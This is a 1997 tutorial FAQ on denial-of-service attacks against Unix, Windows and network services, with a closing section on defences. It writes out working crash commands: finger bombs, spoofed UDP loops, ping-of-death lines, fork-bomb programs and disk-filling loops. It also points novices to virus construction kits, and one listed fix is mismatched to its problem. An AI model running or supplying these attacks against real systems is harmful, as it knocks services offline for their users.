------------------------cut here--

NEW VERSION. BIG UPDATE. READ IT.

You can find the old version at url:
http://www.student.tdb.uu.se/~t95hhu/secure/denial/old/old.txt

Also take a look at THE DENIAL OF SERVICE PAGE at URL:
http://www.student.tdb.uu.se/~t95hhu/c-war.html....

Hans...

------------------------cut here--

==================================

=INTRODUCTION TO DENIAL OF SERVICE=

==================================

Hans Husman

t95hhu@student.tdb.uu.se or
faq_dos@hotmail.com

Last updated:Fri Feb 14 11:41:47 MET 1997

==
=

===
=

.0. FOREWORD
~~~~~~~~~~~~~

In this paper I have tried to answer the following questions:

- What is a denial of service attack?
- Why would someone crash a system?
- How can someone crash a system?
- How do I protect a system against denial of service attacks?

I also have a section called SUGGESTED READING were you can find information about good free information that can give you a deeper understanding about something.

Note that I have a very limited experience with Macintosh, OS/2 and Windows and most of the material are therefore for Unix use.

You can always find the latest version at the following address:
http://www.student.tdb.uu.se/~t95hhu/secure/denial/DENIAL.TXT

Feel free to send comments, tips and so on to address:
t95hhu@student.tdb.uu.se

.A. INTRODUCTION
~~~~~~~~~~~~~~~~

.A.1. WHAT IS A DENIAL OF SERVICE ATTACK?

Denial of service is about without permission knocking off services, for example through crashing the whole system. Another definition that conform more with this paper is that denial of service is seeing to that someone don't get what they paid for.

Denial of service attacks are easy to launch and it is hard to protect a system against them. The basic problem is that Unix assumes that users on the system or on other systems will be well behaved.

.A.2. WHY WOULD SOMEONE CRASH A SYSTEM?

.A.2.1. INTRODUCTION

Why would someone crash a system? I can think of the following reasons:

.1. Sub-cultural status.
.2. To gain access.
.3. Revenge.
.4. Political reasons.
.5. Economical reasons.
.6. Nastiness.
.7. To divert attention.

I think that number one and six are the more common today, but that number four and five will be the more common ones in the future.

.A.2.2. SUB-CULTURAL STATUS

After all information about syn flooding a bunch of such attacks were launched around Sweden. The very most of these attacks were not a part of a IP-spoof attack, it was "only" a denial of service attack. Why?

I think that hackers attack systems as a sub-cultural pseudo career and I think that many denial of service attacks, and here in the

example syn flooding, were performed for these reasons. I also think
that many hackers begin their career today with denial of service attacks.

.A.2.3. TO GAIN ACCESS

Sometimes could a denial of service attack be a part of an attack to
gain access at a system. At the moment I can think of the following
reasons and specific holes:

.1. Some older X-lock versions could be crashed with a
method from the denial of service family leaving the system
open. Physical access was needed to use the work space after.

.2. Syn flooding could be a part of a IP-spoof attack method.

.3. Some program systems could have holes under the startup,
that could be used to gain root, for example some versions
of SSH (secure shell).

.4. Under an attack it could be usable to crash other machines
in the network or to deny certain persons the ability to access
the system.

.5. Also could a system being booted sometimes be subverted,
especially rarp-boots. If we know which port the machine listen
to under the boot we can send false packets to it and almost
totally control the boot.

.6. Crashing a router or firewall can be part of an attack to
gain access.

.A.2.4. REVENGE

A denial of service attack could be a part of a revenge against a user
or an administrator.

.A.2.5. POLITICAL REASONS

Sooner or later will new or old organizations understand the potential
of destroying computer systems and find tools to do it.

For example imaginate the Bank A loaning company B money to build a factory threating the environment. The organization C therefor crash A:s computer system, maybe with help from an employee. The attack could cost A a great deal of money if the timing is right.

.A.2.6. ECONOMICAL REASONS

Imaginate the small company A moving into a business totally dominated by company B. A and B customers make the orders by computers and depends heavily on that the order is done in a specific time (A and B could be stock trading companies). If A and B can't perform the order the customers lose money and change company.

As a part of a business strategy A pays a computer expert a sum of money to get him to crash B:s computer systems a number of times. A year later A is the dominating company.

.A.2.7. NASTINESS

I know a person that found a workstation where the user had forgotten to logout. He sat down and wrote a program that made a kill -9 -1 at a random time at least 30 minutes after the login time and placed a call to the program from the profile file. That is nastiness.

.A.3. ARE SOME OPERATING SYSTEMS MORE SECURE?

This is a hard question to answer and I don't think that it will give anything to compare different Unix platforms. You can't say that one Unix is more secure against denial of service, it is all up to the administrator.

A comparison between Windows 95 and NT on one side and Unix on the other could however be interesting.

Unix systems are much more complex and have hundreds of built in programs, services... This always open up many ways to crash the system from the inside.

In the normal Windows NT and 95 network were is few ways to crash the system. Although were is methods that always will work.

That gives us that no big different between Microsoft and Unix can be found regarding the inside attacks. But there is a couple of points left:

- Unix have much more tools and programs to discover an attack and monitoring the users. To watch what another user are up to under windows is very hard.

- The average Unix administrator probably also have much more experience than the average Microsoft administrator.

The two last points gives that Unix is more secure against inside denial of service attacks.

A comparison between Microsoft and Unix regarding outside attacks are much more difficult. However I would like to say that the average Microsoft system on the Internet are more secure against outside attacks, because they normally have much less services.

.A.4. WHAT HAPPENS THEN A MACHINE CRASHES?

Typically will the following happens:

- X-Windows will be aborted.
- A panic message will be printed on the console.
- A core file, crash dump or something called something else will be written to the disk on the machine or to another machine on the network.
- A reboot attempt will be made.

.A.5. HOW DO I KNOW IF A HOST IS DEAD?

You can use ping. ping sends network packets of type ECHO_REQUEST, which are a part of ICMP and ICMP is a part of the Internet Protocol. It is possibly to block echo_request packets but it has most unlikely been done.

To use ping:

Ex:

```
$ ping host
```

```
        host is alive
```

.A.6. USING FLOODING WHICH PROTOCOL IS MOST EFFECTIVE?

ICMP and UDP is the most effective, due to the fact that they don't need to set up a connection like TCP. The synflooding attack is however a way to go around that problem with TCP (se section .B.22.).

.B. ATTACKING FROM THE OUTSIDE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

.B.1. TAKING ADVANTAGE OF FINGER

Most fingerd installations support redirections to another host.

Ex:

```
        $finger @system.two.com@system.one.com
```

finger will in the example go through system.one.com and on to system.two.com. As far as system.two.com knows it is system.one.com who is fingering. So this method can be used for hiding, but also for a very dirty denial of service attack. Lock at this:

```
        $                                                    finger
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@host.we.attack
```

All those @ signs will get finger to finger host.we.attack again and again and again... The effect on host.we.attack is powerful and the result is high bandwidth, short free memory and a hard disk with less free space, due to all child processes.

The solution is to install a fingerd which don't support redirections, for example GNU finger. You could also turn the finger service off.

.B.2. UDP AND SUNOS 4.1.3.

SunOS 4.1.3. is known to boot if a packet with incorrect information in the header is sent to it. This is the cause if the ip_options indicate a wrong size of the packet.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The solution is to install the proper patch.

.B.3. FREEZING UP X-WINDOWS

If a host accepts a telnet session to the X-Windows port (generally somewhere between 6000 and 6025. In most cases 6000) could that be used to freeze up the X-Windows system. This can be made with multiple telnet connections to the port or with a program which sends multiple XOpenDisplay() to the port.

The same thing can happen to Motif or Open Windows.

The solution is to deny connections to the X-Windows port.

.B.4. MALICIOUS USE OF UDP SERVICES

It is simple to get UDP services (echo, time, daytime, chargen) to loop, due to trivial IP-spoofing. The effect can be high bandwidth that causes the network to become useless. In the example the header claim that the packet came from 127.0.0.1 (loopback) and the target is the echo port at system.we.attack. As far as system.we.attack knows is 127.0.0.1 system.we.attack and the loop has been establish.

Ex:

```
        from-IP=127.0.0.1
        to-IP=system.we.attack
        Packet type:UDP
        from UDP port 7
        to UDP port 7
```

Note that the name system.we.attack looks like a DNS-name, but the target should always be represented by the IP-number.

Quoted from proberts@clark.net (Paul D. Robertson) comment on comp.security.firewalls on matter of "Introduction to denial of service"

> " A great deal of systems don't put loopback on the wire, and simply emulate it. Therefore, this attack will only effect that machine in some cases. It's much better to use the address of a different machine on the same network. Again, the default services should

be disabled in inetd.conf.   Other than some hacks for mainframe IP
stacks that don't support ICMP, the echo service isn't used by many
legitimate programs, and TCP echo should be used instead of UDP
where it is necessary. "

.B.5. ATTACKING WITH LYNX CLIENTS

A World Wide Web server will fork an httpd process as a respond to a request from a client, typical Netscape or Mosaic. The process lasts for less than one second and the load will therefore never show up if someone uses ps. In most causes it is therefore very safe to launch a denial of service attack that makes use of multiple W3 clients, typical lynx clients. But note that the netstat command can be used to detect the attack (thanks to Paul D. Robertson).

Some httpd:s (for example some http-gw) will have problems besides the normal high bandwidth, low memory... And the attack can in those causes get the server to loop.

.B.6. MALICIOUS USE OF telnet

Study this little script:

Ex:

```
        while : ; do
        telnet system.we.attack &
        done
```

An attack using this script might eat some bandwidth, but it is nothing compared to the finger method or most other methods. Well the point is that some pretty firewalls and httpd:s thinks that the attack is a loop and turn them self down, until the administrator sends kill -HUP.

This is a simple high risk vulnerability that should be checked and if present fixed.

.B.7. MALICIOUS USE OF telnet UNDER SOLARIS 2.4

If the attacker makes a telnet connections to the Solaris 2.4 host and quits using:

Ex:

```
        Control-}
        quit
```

then will inetd keep going "forever". Well a couple of hundred...

The solution is to install the proper patch.

.B.8. HOW TO DISABLE ACCOUNTS

Some systems disable an account after N number of bad logins, or waits N seconds. You can use this feature to lock out specific users from the system.

.B.9. LINUX AND TCP TIME, DAYTIME

Inetd under Linux is known to crash if to many SYN packets sends to daytime (port 13) and/or time (port 37).

The solution is to install the proper patch.

.B.10. HOW TO DISABLE SERVICES

Most Unix systems disable a service after that N sessions have been open in a given time. Well most systems have a reasonable default (lets say 800 - 1000), but not some SunOS systems that have the default set to 48...

The solutions is to set the number to something reasonable.

.B.11. PARAGON OS BETA R1.4

Paragon is Intels supercomputer platform built for high performance scientific and technical computing. If someone redirects an ICMP (Internet Control Message Protocol) packet to a paragon OS beta R1.4 will the machine freeze up and must be rebooted. An ICMP redirect tells the system to override routing tables. Routers use this to tell the host that it is sending to the wrong router.

The solution is to install the proper patch.

.B.12. NOVELLS NETWARE FTP

Novells Netware FTP server is known to get short of memory if multiple
ftp sessions connects to it.

.B.13. ICMP ATTACKS

Gateways uses ICMP redirect to tell the system to override routing
tables, that is telling the system to take a better way. To be able
to misuse ICMP redirection we must know an existing connection
If we have found a connection we can send a route that
loses it connectivity or we could send false messages to the host.

One could also send spoofed ICMP Source Quench messages, this could slow
down the conncection.

Ex: (false messages to send)

```
        DESTINATION UNREACHABLE
        TIME TO LIVE EXCEEDED
        PARAMETER PROBLEM
        PACKET TOO BIG
```

The effect of such messages is a reset of the connection.

The solution could be to turn ICMP redirects off, not much proper use
of the service.

.B.14. BROADCAST STORMS

This is a very popular method in networks there all of the hosts are
acting as gateways.

There are many versions of the attack, but the basic method is to
send a lot of packets to all hosts in the network with a destination
that don't exist. Each host will try to forward each packet so
the packets will bounce around for a long time. And if new packets

keep coming the network will soon be in trouble.

Services that can be misused as tools in this kind of attack is for example ping, finger and sendmail. But most services can be misused in some way or another.

.B.15. EMAIL BOMBING AND SPAMMING

In a email bombing attack the attacker will repeatedly send identical email messages to an address. The effect on the target is high bandwidth, a hard disk with less space and so on... Email spamming is about sending mail to all (or rather many) of the users of a system. The point of using spamming instead of bombing is that some users will try to send a replay and if the address is false will the mail bounce back. In that cause have one mail transformed to three mails. The effect on the bandwidth is obvious.

.B.16. TIME AND KERBEROS

If not the the source and target machine is closely aligned will the ticket be rejected, that means that if not the protocol that set the time is protected it will be possible to set a kerberos server off function.

.B.17. SUNOS KERNEL PANIC

Some SunOS systems (running TIS?) will get a kernel panic if a getsockopt() is done after that a connection has been reset.

.B.18. HOSTILE APPLETS

A hostile applet is any applet that attempts to use your system in an inappropriate manner. The problems in the java language could be sorted in two main groups:

1) Problems due to bugs.
2) Problems due to features in the language.

In group one we have for example the java bytecode verifier bug, which makes is possible for an applet to execute any command that the user can execute.

Note that two other bugs could be found in group one, but they are both fixed in Netscape 2.01 and JDK 1.0.1.

Group two are more interesting and one large problem found is the fact that java can connect to the ports. Meaning that all the methods described in .C.X. can be performed by an applet. More information and examples could be found at address:

http://www.math.gatech.edu/~mladue/HostileArticle.html

If you need a high level of security you should use some sort of firewall for protection against java. As a user you could have java disable.

.B.19. VIRUS

Computer virus is written for the purpose of spreading and destroying systems. Virus is still the most common and famous denial of service attack method.

It is a misunderstanding that virus writing is hard. If you know assembly language and have source code for a couple of virus it is easy. Several automatic toolkits for virus construction could also be found, for example:

* Genvir.
* VCS (Virus Construction Set).
* VCL (Virus Construction Laboratory).
* PS-MPC (Phalcon/Skism - Mass Produced Code Generator).
* IVP (Instant Virus Production Kit).
* G2 (G Squared).

PS-MPC and VCL is known to be the best and can help the novice programmer to learn how to write virus.

An automatic tool called MtE could also be found. MtE will transform virus to a polymorphic virus. The polymorphic engine of MtE is well known and should easily be catch by any scanner.

.B.20. ANONYMOUS FTP ABUSE

If an anonymous FTP archive have a writable area it could be misused
for a denial of service attack similar with with .D.3. That is we can
fill up the file system.

Also can a host get temporarily unusable by massive numbers of
FTP requests.

.B.21. SYN FLOODING

Both 2600 and Phrack have posted information about the syn flooding attack.
2600 have also posted exploit code for the attack.

As we know the syn packet is used in the 3-way handshake. The syn flooding
attack is based on an incomplete handshake. That is the attacker host
will send a flood of syn packet but will not respond with an ACK packet.
The TCP/IP stack will wait a certain amount of time before dropping
the connection, a syn flooding attack will therefore keep the syn_received
connection queue of the target machine filled.

.B.22. PING FLOODING

The impact of ping flooding is big.

Under Unix we could try something like: ping -s host
to send 64 bytes packets.

If you have Windows 95, click the start button, select RUN, then type
in: PING -T -L 256 xxx.xxx.xxx.xx. Start about 15 sessions.

.B.23. CRASHING SYSTEMS WITH PING FROM WINDOWS 95 MACHINES

If someone can ping your machine from a Windows 95 machine he or she might
reboot, freeze or crash your machine. The attacker simply writes:

```
ping -l 65510 address.to.the.machine
```

And the machine will freeze or reboot.

A very good page about the problem and with a long list
of affected systems can be found at address:

    http://www.sophist.demon.co.uk/ping/

The page is maintained by Mr Mike Bremford.

.B.24. MALICIOUS USE OF SUBNET MASK REPLY MESSAGE

The subnet mask reply message is used under the reboot, but some hosts are known to accept the message any time without any check. If so all communication to or from the host can be turned off.

The host should not accept the message any time but under the reboot.

.B.25. FLEXlm

Any host running FLEXlm can get the FLEXlm license manager daemon on any network to shutdown using the FLEXlm lmdown command.

```
# lmdown -c /etc/licence.dat
lmdown - Copyright (C) 1989, 1991 Highland Software, Inc.

Shutting down FLEXlm on nodes: xxx
Are you sure? [y/n]: y
Shut down node xxx
#
```

.B.26. BOOTING WITH TRIVIAL FTP

To boot diskless workstations one often use trivial ftp with rarp or bootp. If not protected an attacker can use tftp to boot the host.

.B.27. ATTACKING USENET

It can be possible to cancel some ones else's article, destroy newsgroups and sending false postings to Usenet. Fore more information about this see the FAQ:alt.2600 question 15.

.B.28. ATTACKING NAME SERVERS

The name server is the program that holds the information about the domain and answers questions. The part of the domain name space that the name server holds is referred to as a zone.

The name server is seldom the only one, it is a to important service. Instead can at least two be found, the primary master and the secondary master. However can not to many secondary masters exist (10 ?). The secondary master provides a backup to the primary.

Every time the name server makes a request it collects and store information and next time if another query is made for the information, it already have it in the cache.

An attack at the name server could have a very big impact. Many servers depends heavily on proper working name servers, for example: rlogin, rsh, rcp, xhost, NFS, smtp, ftp...

To attack the name server could we of course use any method described in this paper, but the machine running the name server seldom do anything except DNS-work. The DNS-server is also very important and have had several security problems that are well known. Because of these reasons will the DNS-server most likely be well protected and other services beside DNS will probably not exist (although ping flooding could be a threat if not a firewall that filters ping from the outside exist). The attack that are left is to attack the service it self at port 53. We could for example:

- Send random garbage to it.
- Send true queries to it.
- Use syn flooding.

Alternative two should be the most effective one, because it will do every thing that alternative one do and beside that keep the service program it self busy looking up DNS-names. Putting together a long random list with DNS-name will also contain mostly addresses outside the zone, making the name server to try querying other name servers.

.B.29. SSH AND PPP

If a PPP connection is made via SSH drops, all processes controlled by it can get zombied out. The processes can not be killed with a kill -9 -1. To get rid of the zombies kill sshd.

.B.30. LOGIN VIA SSH

Ssh can be used to block login. Force sshd to ask for password during login.
Connect to the system but do not give the password. Until you have
given the password no one else will be able to login.

This is a matter of configuration.

.C. ATTACKING FROM THE INSIDE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

.C.1. NOT SO SYSTEM SPECIFIC

.C.1.1. CRASHING THE X-SERVER

If stickybit is not set in /tmp then can the file /tmp/.x11-unix/x0
be removed and the x-server will crash.

Ex:

```
        $ rm /tmp/.x11-unix/x0
```

.C.1.2. FILLING UP THE HARD DISK

If your hard disk space is not limited by a quota or if you can use
/tmp then it`s possible for you to fill up the file system.

Ex:

```
        while : ;
        mkdir .xxx
        cd .xxx
        done
```

Some old OS will also crash.

.C.1.3. MALICIOUS USE OF eval

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Some older systems will crash if eval '\!\!' is executed in the C-shell.

Ex:

```
        % eval '\!\!'
```

.C.1.4. MALICIOUS USE OF fork()

If someone executes this C++ program the result will result in a crash on most systems.

Ex:

```
        #include <sys/types.h>
        #include <unistd.h>
        #include <iostream.h>

        main()
         {
                int x;
                for(x=0;x<1000000;x++)
                        {
                                system("uptime");
                                fork();
                        }
         }
```

Or why not:

Ex:

```
        main()
         {
                fork();
                main();
         }
```

You can use any command you want, but uptime is nice because it shows the workload.

To get a bigger and very ugly attack you should however replace uptime (or fork them both) with sync. This is very bad.

If you are real mean you could also fork a child process for
every child process and we will get an exponential increase of
workload.

There is no good way to stop this attack and
similar attacks. A solution could be to place a limit
on time of execution and size of processes.

.C.1.5. CREATING FILES THAT ARE HARD TO REMOVE

Well all files can be removed, but here is some ideas:

Ex.I.

```
$ cat > -xxx
^C
$ ls
-xxx
$ rm -xxx
rm: illegal option -- x
rm: illegal option -- x
rm: illegal option -- x
usage: rm [-fiRr] file ...
$
```

Ex.II.

```
$ touch xxx!
$ rm xxx!
rm: remove xxx! (yes/no)? y
$ touch xxxxxxxxx!
$ rm xxxxxxxxx!
bash: !": event not found
$

(You see the size do count!)
```

Other well know methods is files with odd characters or spaces
in the name.

These methods could be used in combination with ".D.3 FILLING UP THE
HARDDISK". If you do want to remove these files you must use some sort

of script or a graphical interface like OpenWindow:s File Manager. You can also try to use: rm ./<filename>. It should work for the first example if you have a shell.

.C.1.6. CSH ATTACK

Just start this under /bin/csh (after proper modification) and the load level will get very high (that is 100% of the cpu time) in a very short time.

Ex:

```
        |I /bin/csh
        nodename : **************b
```

.C.1.7. CREATING FILES IN /tmp

Many programs creates files in /tmp, but are unable to deal with the problem if the file already exist. In some cases this could be used for a denial of service attack.

.C.1.8. USING RESOLV_HOST_CONF

Some systems have a little security hole in the way they use the RESOLV_HOST_CONF variable. That is we can put things in it and through ping access confidential data like /etc/shadow or crash the system. Most systems will crash if /proc/kcore is read in the variable and access through ping.

Ex:

```
        $ export RESOLV_HOST_CONF="/proc/kcore" ; ping asdf
```

.C.1.9. MESSING WITH MEMORY

A denial of service attack at the memory can cause a great deal of problems. There are a number of things the attacker can do, for example:

- Allocate a large amount of RAM or rather all of the memory that the system will allow us to allocate. We can for example use malloc() do this. Putting something like malloc(somenumber) in a loop can do the job.

- Writing to /dev/kmem or similar can get some systems in trouble.

- Kernel memory allocation is also a target that is sensitive. The kernel have a kernelmap limit, if the system reach this limit it can not allocate more kernel memory and might crash. The kernel memory is not only used for RAM, CPU:s, screens and so on, it it also used for ordinaries processes.

- Just reading a large amount of memory in a slow way (page in for every access) will slow down the system.

- Some systems will crash if /proc/kcore is read in the RESOLV_HOST_CONF variable and access through ping.

  Ex:

```
        $ export RESOLV_HOST_CONF="/proc/kcore";
        $ ping asdf
```

A solution could be to set a peruser limit on memory use and add more memory and some extra swap space.

.C.1.10. EXECUTING RANDOM DATA

Executing random data can cause problems on some systems

.C.2. SUNOS/SOLARIS

.C.2.1. SUNOS 4.X. AND BACKGROUND JOBS

Thanks to Mr David Honig <honig@amada.net> for the following:

" Put the string "a&" in a file called "a" and perform "chmod +x a". Running "a" will quickly disable a Sun 4.x machine, even disallowing (counter to specs) root login as the kernel process table fills."

" The cute thing is the size of the
script, and how few keystrokes it takes to bring down a Sun
as a regular user."

.C.2.2. trap_mon CAUSES KERNEL PANIC UNDER SUNOS 4.1.X.

Executing the trap_mon instruction from user mode can cause a kernel panic or a window underflow watchdog reset under SunOS 4.1.x, sun4c architecture.

.C.2.3. SUNOS KERNEL PANIC WITH tmpfs

If /tmp is a tmpfs filesystem any user can cause a kernel panic under SunOS 4.1.x.

Ex:

```
        $ cd /tmp
        $ /usr/etc/mknod fifo p
        $ ln fifo link
        $ ls -ClFg link fifo
```

.C.2.4. SUNOS KERNEL PANIC WITH pathconf()

If /cdrom is a hsfs filesystem can any user cause a kernelpanic under SunOS 4.1.X, with the following program:

Ex:

```
        #include <unistd.h>

        main()
        {
                pathconf("/cdrom", 0);
        }
```

.C.2.5. SUNOS KERNEL PANIC WITH df

SunOS 4.0.X will hang if the following command is issued:

```
        $ df /dev/*b
```

.C.2.6. SUNOS KERNEL PANIC WITH rmdir

Some systems running SunOS 4.0.3 will get a kernel panic if you try to rmdir a directory that don't exist.

.C.2.7. DIRECTORY NAME LOOKUP CACHE

Directory name lookupcache (DNLC) is used whenever a file is opened. DNLC associates the name of the file to a vnode. But DNLC can only operate on files with names that has less than N characters (for SunOS 4.x up to 14 character, for Solaris 2.x up 30 characters). This means that it's dead easy to launch a pretty discreet denial of service attack.

Create lets say 20 directories (for a start) and put 10 empty files in every directory. Let every name have over 30 characters and execute a script that makes a lot of ls -al on the directories.

If the impact is not big enough you should create more files or launch more processes.

.C.2.8. SOLARIS 2.X AND NFS

If a process is writing over NFS and the user goes over the disk quota will the process go into an infinite loop.

.C.2.9. KERNEL PANIC UNDER SOLARIS 2.3

Solaris 2.3 will get a kernel panic if this
is executed:

EX:

```
        $ndd /dev/udp udp_status
```

The solution is to install the proper patch.

.C.3. HP-UX

.C.3.1. NETTUNE AND HP-UX

/usr/contrib/bin/nettune is SETUID root on HP-UX meaning that any user can reset all ICMP, IP and TCP kernel parameters, for example the following parameters:

- arp_killcomplete
- arp_killincomplete
- arp_unicast
- arp_rebroadcast
- icmp_mask_agent
- ip_defaultttl
- ip_forwarding
- ip_intrqmax
- pmtu_defaulttime
- tcp_localsubnets
- tcp_receive
- tcp_send
- tcp_defaultttl
- tcp_keepstart
- tcp_keepfreq
- tcp_keepstop
- tcp_maxretrans
- tcp_urgent_data_ptr
- udp_cksum
- udp_defaultttl
- udp_newbcastenable
- udp_pmtu
- tcp_pmtu
- tcp_random_seq

The solution could be to set the proper permission on /sbin/mount_union:

```
#chmod u-s /sbin/mount_union
```

.C.3.2. KERNEL PANIC UNDER HP-UNX 10.1

----

rplayd without any arguments can cause a kernel panic on HP-UX 10.1

.C.4. LINUX, FREEBSD

.C.4.1. BLOCKING LOGIN ON RED HAT AND DEBIAN

On some systems (Red Hat 3.0.3 and Debian 1.2) anyone can block people from login with the following command:

Ex:

```
              $ nvi /var/log/wtmp
```

.C.4.2. SYSTEM STABILITY COMPROMISE VIA mount_union

By executing a sequence of mount_union commands any user can cause a system reload on all FreeBSD version 2.X before 1996-05-18.

```
$ mkdir a
$ mkdir b
$ mount_union ~/a ~/b
$ mount_union -b ~/a ~/b
```

The solution could be to set the proper permission on /sbin/mount_union:

```
#chmod u-s /sbin/mount_union
```

.C.5. DG/UX

.C.5.1. CRASHING DG/UX WITH ulimit

----

ulimit is used to set a limit on the system resources available to the shell. If ulimit 0 is called before /etc/passwd, under DG/UX, will the passwd file be set to zero.

.D. CRASHING MICROSOFT WINDOWS

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

.D.1. FREEZING MICROSOFT STACKS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Microsoft stacks can freeze by a premature expire of dud replies to DHCP lease information.

.D.2. ISS 2.0 WWW SERVER ON WINDOWS NT

If you telnet to port 80 on a NT machine running IIS 2.0 and issue the command GET ..\.. it will crash.

.D.3. THE DOT DOT BUG

Windows NT file sharing system is vulnerable to the under Windows 95 famous dot dot bug (dot dot like ..). Meaning that anyone can crash the system. If someone sends a "DIR ..\" to the workstation will a STOP messages appear on the screen on the Windows NT computer. Note that it applies to version 3.50 and 3.51 for both workstation and server version.

.D.4. CONSUMING 100% OF CPU TIME ON NT MACHINES

Telnet to port 135 and send some random characters and disconnect. This will cause the rpcss.exe process to start consuming all available process cycles.

.D.5. CONSUMING 100% OF CPU TIME ON NT MACHINES II

Telnet to port 6558 and type in one letter and hit enter.

.D.6. CONSUMING 100% OF CPU TIME ON NT MACHINES III

Telnet to port 53 and send some random characters and disconnect.

.D.7. WINDOWS NT 4.0 AND THE DNS SERVICE

Then Microsoft DNS service terminates when it receives a response to a DNS query that was never made.

.D.8. WINDOWS NT AND LARGE FILE CACHING

If the NT system have large file caching enable it is easy to eat 100% of the CPU time. Just transfer a large enough file from/to the server through the shared network drive.

.D.9. CONSUMING 100% OF CPU TIME ON NT MACHINES - SOME MORE PORTS -
----

Also try 1031 and 1040.

.E. LINKS THAT DESTROY

Clicking on the following links can cause damage to your system. Don't click on them! Although I believe that very few systems will have problems with most of them.

(1)Can affect some version of the Internet Explorer. Internet Explorer will go into an infinite loop if told to play a movie from the URL:

```
<a href="file://aux">file://aux</a>
```

(2)Can affect Netscape 1.1N (a very old version).

```
<a href="http://xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.
xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.
xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx...">http://xxx.xxx.xxx.
xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.
xxx.xxx.xxx.xxx...</a>
```

(3) Calling to special files we know will exist can cause problems,
  ex:

```
<a href="file:/dev/mouse">file:/dev/mouse</a>
<a href="file:/dev/zero">file:/dev/zero</a>
<a href="file:/dev/mmap">file:/dev/mmap</a>
<a href="file:/proc/kcore">file:/proc/kcore</a>
```

(4)A collection of hostile applets can be found at URL:

<a href="http://www.math.gatech.edu/~mladue/HostileApplets.html">
http://www.math.gatech.edu/~mladue/HostileApplets.html</a>

.F. HOW DO I PROTECT A SYSTEM AGAINST DENIAL OF SERVICE ATTACKS?

.F.1. BASIC SECURITY PROTECTION

.F.1.1. INTRODUCTION

You can not make your system totally secured against denial of service
attacks but for attacks from the outside you can do a lot. I put this
work list together and hope that it can be of some use.

.F.1.2. SECURITY PATCHES

Always install the proper security patches. As for patch numbers
I don't want to put them out, but that doesn't matter because you
anyway want to check that you have all security patches installed,
so get a list and check! Also note that patches change over time and
that a solution suggested in security bulletins (i.e. CERT) often
is somewhat temporary.

.F.1.3. PORT SCANNING

Check which services you have. Don't check with the manual
or some configuration file, instead scan the ports with strobe
or some other port scanner. Actual you should do this regualy to see
that anyone don't have installed a service that you don't want on
the system (could for example be service used for a pirate site).

Disable every service that you don't need, could for example be rexd,
fingerd, systat, netstat, rusersd, sprayd, pop3, uucpd, echo, chargen,
tftp, exec, ufs, daytime, time... Any combination of echo, time, daytime
and chargen is possible to get to loop. There is however no need
to turn discard off. The discard service will just read a packet

and discard it, so if you turn off it you will get more sensitive to denial of service and not the opposite.

Actual can services be found on many systems that can be used for denial of service and brute force hacking without any logging. For example Stock rexec never logs anything. Most popd:s also don't log anything

.F.1.4. CHECK THE OUTSIDE ATTACKS DESCRIBED IN THIS PAPER

Check that attacks described in this paper and look at the solution. Some attacks you should perform yourself to see if they apply to your system, for example:

- Freezing up X-Windows.
- Malicious use of telnet.
- How to disable services.
- SunOS kernel panic.
- Attacking with lynx clients.
- Crashing systems with ping from Windows 95 machines.

That is stress test your system with several services and look at the effect. Also have a look in section ".F.1.6. TOOLS THAT HELPS YOU CHECK".

Note that Solaris 2.4 and later have a limit on the number of ICMP error messages (1 per 500 ms I think) that can cause problems then you test your system for some of the holes described in this paper. But you can easy solve this problem by executing this line:

```
$ /usr/sbin/ndd -set /dev/ip ip_icmp_err_interval 0
```

.F.1.5. CHECK THE INSIDE ATTACKS DESCRIBED IN THIS PAPER

Check the inside attacks, although it is always possibly to crash the system from the inside you don't want it to be to easy. Also have several of the attacks applications besides denial of service.

.F.1.6. TOOLS THAT HELPS YOU CHECK

First we have a very good free packet made by Darren Reed (darrenr@cyber.com.au). The text below is quoted from a posting Mr Reed made to Bugtraq Thu, 24 Oct 1996 10:50:00 +1000.

> "I wrote a program called "ipsend" some time ago that I later split up into iptest/ipsend/ipresend. iptest basically does lots of nasty things, including attempting to send huge packets, etc. It does it using NIT/BPF and DLPI - but I've only tested on Solaris/BSD/Linux.
>
> If you want to have a look at it:
>
> ftp://coombs.anu.edu.au/pub/net/misc/ipsend.tar.gz
>
> To give you a brief of the other programs:
> * ipresend takes a tcpdump binary dump/snoop binary dump or other input (such as textual descriptions of IP packets) and sends that out through the above;
> * ipsend is a command line interface for sending a single packet or doing "stealth scanning";
>
> Ideally, ipresend could be used with a know set of inputs which create a set of nasty packets (that aren't covered in iptest) and you could use that to test the rigidity of your IP stack after making any changes. iptest is a quick and fixed implementation of a fixed number of tests.
>
> Darren"

The packet is very good to stress test systems.

A program called crashme.c written by Mr George J. Carrete in 1990 also exist. I don't however think that the unix of to day will have to much trouble dealing with crashme, although I am not sure. Carrete gives the following information in the program:

> "Crashme is a very simple program that tests the operating environment's robustness by invoking random data as if it were a procedure. The standard signals are caught and handled with a setjmp back to a loop which will try again to produce a fault by executing random data."

More information are given in the source code that can be found at URL:

http://www.student.tdb.uu.se/~t95hhu/document/crashme.c

We also have ISS that is not a free tool. According to W3-page: http://www.iss.net/tech/techspec.html ISS checks for the following denial of service attacks:

Name under ISS W3-page

- Finger Bomb Check
- UDP Bomb Check
